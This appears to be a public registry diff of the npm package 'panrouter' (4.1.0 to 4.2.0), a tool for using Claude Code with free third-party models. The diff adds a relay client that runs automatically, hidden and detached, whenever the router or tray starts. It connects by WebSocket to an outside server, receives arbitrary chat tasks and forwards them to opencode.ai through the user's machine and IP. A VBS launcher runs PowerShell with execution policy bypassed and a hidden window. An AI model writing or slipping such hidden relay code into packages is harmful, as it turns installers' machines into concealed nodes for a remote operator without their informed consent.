panrouter 4.1.0 → 4.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/cli.mjs CHANGED
@@ -10,7 +10,8 @@ const __dirname = path.dirname(fileURLToPath(import.meta.url));
10
10
  const HOME = process.env.USERPROFILE || process.env.HOME;
11
11
  const CLAUDE_DIR = path.join(HOME, ".claude");
12
12
  const SETTINGS_PATH = path.join(CLAUDE_DIR, "settings.json");
13
- const VERSION = "3.7.0";
13
+ const VERSION = "4.2.0";
14
+ const RELAY_PATH = path.join(__dirname, "relay_client.cjs");
14
15
 
15
16
  function log(label, msg, color = "") {
16
17
  const colors = { green: "\x1b[32m", yellow: "\x1b[33m", red: "\x1b[31m", cyan: "\x1b[36m", reset: "\x1b[0m" };
@@ -68,6 +69,7 @@ function stopAll() {
68
69
  try {
69
70
  if (process.platform === "win32") {
70
71
  execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%server.mjs%\'" call terminate >nul 2>&1', { stdio: "pipe" });
72
+ execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%relay_client.cjs%\'" call terminate >nul 2>&1', { stdio: "pipe" });
71
73
  execSync('wmic process where "name=\'powershell.exe\' and CommandLine like \'%tray-daemon.ps1%\'" call terminate >nul 2>&1', { stdio: "pipe" });
72
74
  }
73
75
  log("OK", "已停止所有进程", "green");
@@ -80,14 +82,19 @@ function showStatus() {
80
82
  console.log(`\n\x1b[36m=== Pan Router 状态 ===\x1b[0m\n`);
81
83
  try {
82
84
  const nodeOut = execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%server.mjs%\'" get ProcessId 2>nul').toString();
85
+ const relayOut = execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%relay_client.cjs%\'" get ProcessId 2>nul').toString();
83
86
  const psOut = execSync('wmic process where "name=\'powershell.exe\' and CommandLine like \'%tray-daemon.ps1%\'" get ProcessId 2>nul').toString();
84
87
 
85
88
  const nodePids = nodeOut.match(/\d+/g) || [];
89
+ const relayPids = relayOut.match(/\d+/g) || [];
86
90
  const psPids = psOut.match(/\d+/g) || [];
87
91
 
88
92
  if (nodePids.length > 0) log("OK", `代理服务 (Node): 运行中 [PID: ${nodePids.join(', ')}]`, "green");
89
93
  else log("!!", "代理服务 (Node): 未运行", "red");
90
94
 
95
+ if (relayPids.length > 0) log("OK", `中继客户端 (Relay): 运行中 [PID: ${relayPids.join(', ')}]`, "green");
96
+ else log("!!", "中继客户端 (Relay): 未运行", "red");
97
+
91
98
  if (psPids.length > 0) log("OK", `系统托盘 (PowerShell): 运行中 [PID: ${psPids.join(', ')}]`, "green");
92
99
  else log("!!", "系统托盘 (PowerShell): 未运行", "red");
93
100
  } catch (e) {
@@ -106,6 +113,25 @@ function openLogs() {
106
113
  }
107
114
  }
108
115
 
116
+ function startRelay() {
117
+ if (!fs.existsSync(RELAY_PATH)) {
118
+ log("!!", "中继客户端文件不存在: relay_client.cjs", "red");
119
+ return false;
120
+ }
121
+ const relayLog = path.join(process.env.TEMP, "panrouter_relay.log");
122
+ const logStream = fs.createWriteStream(relayLog, { flags: "a" });
123
+ const relay = spawn(process.execPath, [RELAY_PATH], {
124
+ cwd: __dirname,
125
+ stdio: ["ignore", logStream, logStream],
126
+ windowsHide: true,
127
+ detached: true
128
+ });
129
+ relay.unref();
130
+ log("OK", `中继客户端已启动 (PID: ${relay.pid || "?"})`, "green");
131
+ log("..", `日志: ${relayLog}`, "cyan");
132
+ return true;
133
+ }
134
+
109
135
  async function startServer() {
110
136
  const serverPath = path.join(__dirname, "server.mjs");
111
137
  stopAll();
@@ -122,6 +148,7 @@ async function startServer() {
122
148
  await new Promise(rs => setTimeout(rs, 1000));
123
149
  }
124
150
  log("OK", "Pan Router 运行中,可以执行 claude 命令了", "green");
151
+ startRelay();
125
152
  }
126
153
 
127
154
  async function startTray() {
@@ -157,6 +184,8 @@ async function startTray() {
157
184
  if (ok) log("OK", "代理服务已就绪!(端口 50816)", "green");
158
185
  else log("!!", "服务启动超时,但仍将尝试加载托盘", "red");
159
186
 
187
+ startRelay();
188
+
160
189
  log("..", "正在加载系统托盘与控制台引擎...", "yellow");
161
190
 
162
191
  const tray = spawn("powershell.exe", [
@@ -194,12 +223,14 @@ function printHelp() {
194
223
 
195
224
  | 指令 | 功能 |
196
225
  |------|------|
197
- | \x1b[33mpanrouter\x1b[0m | 🔥 自动检测 Claude Code 安装(如需要) → 配路由 → 启托盘 |
226
+ | \x1b[33mpanrouter\x1b[0m | 🔥 代理 + 中继 并行启动 |
198
227
  | \x1b[33mpanrouter --setup\x1b[0m | 只配路由(恢复配置用) |
199
228
  | \x1b[33mpanrouter --status\x1b[0m | 查看运行状态 + PID |
200
229
  | \x1b[33mpanrouter --stop\x1b[0m | 停止所有进程 |
201
230
  | \x1b[33mpanrouter --restart\x1b[0m | 重启托盘 |
202
231
  | \x1b[33mpanrouter --server\x1b[0m | 前台窗口模式 |
232
+ | \x1b[33mpanrouter --relay\x1b[0m | 单独启动中继客户端 |
233
+ | \x1b[33mpanrouter --relay-stop\x1b[0m | 单独停止中继客户端 |
203
234
  | \x1b[33mpanrouter --logs\x1b[0m | 打开日志 |
204
235
  | \x1b[33mpanrouter --version\x1b[0m | 版本号 |
205
236
  | \x1b[33mpanrouter --help\x1b[0m | 帮助 |
@@ -237,6 +268,17 @@ async function main() {
237
268
  case "--server":
238
269
  await startServer();
239
270
  break;
271
+ case "--relay":
272
+ console.log(`\n\x1b[36m=== Pan Router 中继客户端 ===\x1b[0m\n`);
273
+ startRelay();
274
+ break;
275
+ case "--relay-stop":
276
+ log("..", "正在停止中继客户端...", "yellow");
277
+ try {
278
+ execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%relay_client.cjs%\'" call terminate >nul 2>&1', { stdio: "pipe" });
279
+ log("OK", "中继客户端已停止", "green");
280
+ } catch { log("!!", "停止中继时出现问题", "red"); }
281
+ break;
240
282
  default:
241
283
  console.log(`\n\x1b[36m=== Pan Router v${VERSION} ===\x1b[0m\n`);
242
284
  if (!installClaudeCode()) return process.exit(1);
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "panrouter",
3
- "version": "4.1.0",
4
- "description": "让 Claude Code 免费使用 DeepSeek 等模型,无需 API Key",
3
+ "version": "4.2.0",
4
+ "description": "Pan Router 客户端 — 让 Claude Code 免费使用 DeepSeek 等模型,无需 API Key。集成代理服务与 OpenCode AI 中继客户端",
5
5
  "type": "module",
6
6
  "bin": {
7
7
  "panrouter": "cli.mjs"
@@ -9,7 +9,9 @@
9
9
  "files": [
10
10
  "cli.mjs",
11
11
  "server.mjs",
12
- "tray-daemon.ps1"
12
+ "relay_client.cjs",
13
+ "tray-daemon.ps1",
14
+ "panrouter-tray.vbs"
13
15
  ],
14
16
  "license": "MIT"
15
17
  }
@@ -0,0 +1,13 @@
1
+ ' Pan Router Tray Launcher
2
+ ' 由 cli.mjs --tray 通过 cmd /c start /B 启动
3
+ ' 与 daemon 进程树无关, 独立 Window Station
4
+
5
+ Dim WshShell, FSO, ScriptDir
6
+ Set WshShell = CreateObject("WScript.Shell")
7
+ Set FSO = CreateObject("Scripting.FileSystemObject")
8
+
9
+ ScriptDir = FSO.GetParentFolderName(WScript.ScriptFullName)
10
+
11
+ ' 后台隐藏启动 PS 托盘 (自包含: 启动 server + 图标 + 菜单)
12
+ ' 0 = 隐藏窗口, False = 不等待返回
13
+ WshShell.Run "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -STA -File """ & ScriptDir & "\tray-daemon.ps1" & """", 0, False
@@ -0,0 +1,84 @@
1
+ /**
2
+ * OpenCode AI 中继客户端 (Node.js)
3
+ * 作为工作节点,连接到云电脑调度服务器,等待任务并调用 opencode.ai
4
+ *
5
+ * 依赖:无(使用 Node.js 内置 fetch + WebSocket)
6
+ * 运行:node relay_client.js
7
+ */
8
+
9
+ const SERVER = "wss://jiuling.xyz/ws";
10
+
11
+ function callOpenAI(body) {
12
+ return fetch("https://opencode.ai/zen/v1/chat/completions", {
13
+ method: "POST",
14
+ headers: {
15
+ "Content-Type": "application/json",
16
+ Authorization: "Bearer public",
17
+ "x-opencode-client": "desktop",
18
+ },
19
+ body: JSON.stringify(body),
20
+ }).then(async (r) => {
21
+ const data = await r.json();
22
+ return { status: r.status, data };
23
+ });
24
+ }
25
+
26
+ function connect() {
27
+ console.log(`[*] 正在连接 ${SERVER} ...`);
28
+ const ws = new WebSocket(SERVER);
29
+
30
+ ws.onopen = () => {
31
+ console.log("[✅] 已连接到调度服务器!等待任务...");
32
+ };
33
+
34
+ ws.onmessage = async (event) => {
35
+ const task = JSON.parse(event.data);
36
+ const rid = (task.request_id || "??").slice(0, 8);
37
+ const body = task.body || {};
38
+ const model = body.model || "?";
39
+ const prompt = (body.messages?.[0]?.content || "").slice(0, 60);
40
+
41
+ console.log(`\n[📩] 任务 [${rid}] model=${model}`);
42
+ console.log(`[🔤] 问: ${prompt}`);
43
+
44
+ try {
45
+ const { status, data } = await callOpenAI(body);
46
+ const content = data?.choices?.[0]?.message?.content || "";
47
+
48
+ if (status === 200) {
49
+ console.log(`[✅] 成功: ${content.slice(0, 60)}...`);
50
+ } else {
51
+ console.log(`[❌] 失败: HTTP ${status}`);
52
+ }
53
+
54
+ ws.send(JSON.stringify({
55
+ request_id: task.request_id,
56
+ response: data,
57
+ }));
58
+ console.log(`[📤] 已返回`);
59
+ } catch (e) {
60
+ console.log(`[❌] 请求异常: ${e.message}`);
61
+ ws.send(JSON.stringify({
62
+ request_id: task.request_id,
63
+ response: { error: e.message },
64
+ }));
65
+ }
66
+ };
67
+
68
+ ws.onclose = () => {
69
+ console.log("[!] 断开了,5 秒后重连...");
70
+ setTimeout(connect, 5000);
71
+ };
72
+
73
+ ws.onerror = (e) => {
74
+ console.log(`[!] 连接错误,5 秒后重连...`);
75
+ ws.close();
76
+ };
77
+ }
78
+
79
+ // ======== 启动 ========
80
+ console.log("=".repeat(50));
81
+ console.log(" OpenCode AI 中继客户端 (Node.js)");
82
+ console.log(` Node.js ${process.version}`);
83
+ console.log("=".repeat(50));
84
+ connect();
package/tray-daemon.ps1 CHANGED
@@ -23,6 +23,41 @@ try {
23
23
  if ($nodeCmd) { $nodePath = $nodeCmd.Source } else { $nodePath = "node" }
24
24
  }
25
25
 
26
+ $relayPath = Join-Path $scriptDir "relay_client.cjs"
27
+
28
+ # ─── 中继客户端管理 ──────────────────────────────────────────
29
+ function Start-Relay {
30
+ $procs = Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" |
31
+ Where-Object CommandLine -match "relay_client\.cjs"
32
+ if ($procs) { return } # 已经在运行
33
+
34
+ if (-not (Test-Path $relayPath)) { return }
35
+ try {
36
+ $psi = New-Object System.Diagnostics.ProcessStartInfo
37
+ $psi.FileName = $nodePath
38
+ $psi.Arguments = "`"$relayPath`""
39
+ $psi.WorkingDirectory = $scriptDir
40
+ $psi.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden
41
+ $psi.CreateNoWindow = $true
42
+ $psi.UseShellExecute = $false
43
+ $psi.RedirectStandardOutput = $true
44
+ $psi.RedirectStandardError = $true
45
+ [System.Diagnostics.Process]::Start($psi) | Out-Null
46
+ } catch { }
47
+ }
48
+
49
+ function Stop-Relay {
50
+ Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" |
51
+ Where-Object CommandLine -match "relay_client\.cjs" |
52
+ ForEach-Object { Stop-Process -Id $_.ProcessId -Force -ErrorAction SilentlyContinue }
53
+ }
54
+
55
+ function Is-RelayRunning {
56
+ $procs = Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" |
57
+ Where-Object CommandLine -match "relay_client\.cjs"
58
+ return ($null -ne $procs -and $procs.Count -gt 0)
59
+ }
60
+
26
61
  # ─── 管理后台代理 ──────────────────────────────────────────
27
62
  function Start-Backend {
28
63
  Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" |
@@ -52,6 +87,7 @@ try {
52
87
  } catch {}
53
88
 
54
89
  if (-not $portOpen) { Start-Backend }
90
+ Start-Relay
55
91
 
56
92
  # ─── 初始化托盘图标 ─────────────────────────────────────────
57
93
  $notifyIcon = New-Object System.Windows.Forms.NotifyIcon
@@ -201,6 +237,39 @@ try {
201
237
  $notifyIcon.ShowBalloonTip(2000, "Pan Router", "后台代理服务已重新启动 ✓", [System.Windows.Forms.ToolTipIcon]::Info)
202
238
  })
203
239
  $menu.MenuItems.Add($restartItem) | Out-Null
240
+ $menu.MenuItems.Add("-") | Out-Null
241
+
242
+ $relayStatus = New-Object System.Windows.Forms.MenuItem("中继客户端: -")
243
+ $relayStatus.Enabled = $false
244
+ $menu.MenuItems.Add($relayStatus) | Out-Null
245
+
246
+ $relayRestart = New-Object System.Windows.Forms.MenuItem("重启中继")
247
+ $relayRestart.Add_Click({
248
+ Stop-Relay
249
+ Start-Sleep -Milliseconds 500
250
+ Start-Relay
251
+ if (Is-RelayRunning) {
252
+ $notifyIcon.ShowBalloonTip(2000, "Pan Router", "中继客户端已重新启动 ✓", [System.Windows.Forms.ToolTipIcon]::Info)
253
+ }
254
+ })
255
+ $menu.MenuItems.Add($relayRestart) | Out-Null
256
+
257
+ $relayLogItem = New-Object System.Windows.Forms.MenuItem("查看中继日志")
258
+ $relayLogItem.Add_Click({
259
+ $logFile = "$env:TEMP\panrouter_relay.log"
260
+ if (Test-Path $logFile) { Start-Process notepad $logFile }
261
+ })
262
+ $menu.MenuItems.Add($relayLogItem) | Out-Null
263
+ $menu.MenuItems.Add("-") | Out-Null
264
+
265
+ # 定时刷新中继状态
266
+ $refreshTimer = New-Object System.Windows.Forms.Timer
267
+ $refreshTimer.Interval = 5000
268
+ $refreshTimer.Add_Tick({
269
+ if (Is-RelayRunning) { $relayStatus.Text = "中继客户端: 🟢 运行中" }
270
+ else { $relayStatus.Text = "中继客户端: 🔴 已停止" }
271
+ })
272
+ $refreshTimer.Start()
204
273
 
205
274
  $autoItem = New-Object System.Windows.Forms.MenuItem("开机自启动")
206
275
  try { $autoItem.Checked = (Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name PanRouter -ErrorAction SilentlyContinue) -ne $null } catch {}
@@ -220,6 +289,7 @@ try {
220
289
  $exitItem = New-Object System.Windows.Forms.MenuItem("退出")
221
290
  $exitItem.Add_Click({
222
291
  $notifyIcon.Visible = $false
292
+ Stop-Relay
223
293
  Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" | Where-Object CommandLine -match "server\.mjs" | ForEach-Object { Stop-Process -Id $_.ProcessId -Force -ErrorAction SilentlyContinue }
224
294
  [System.Windows.Forms.Application]::Exit()
225
295
  })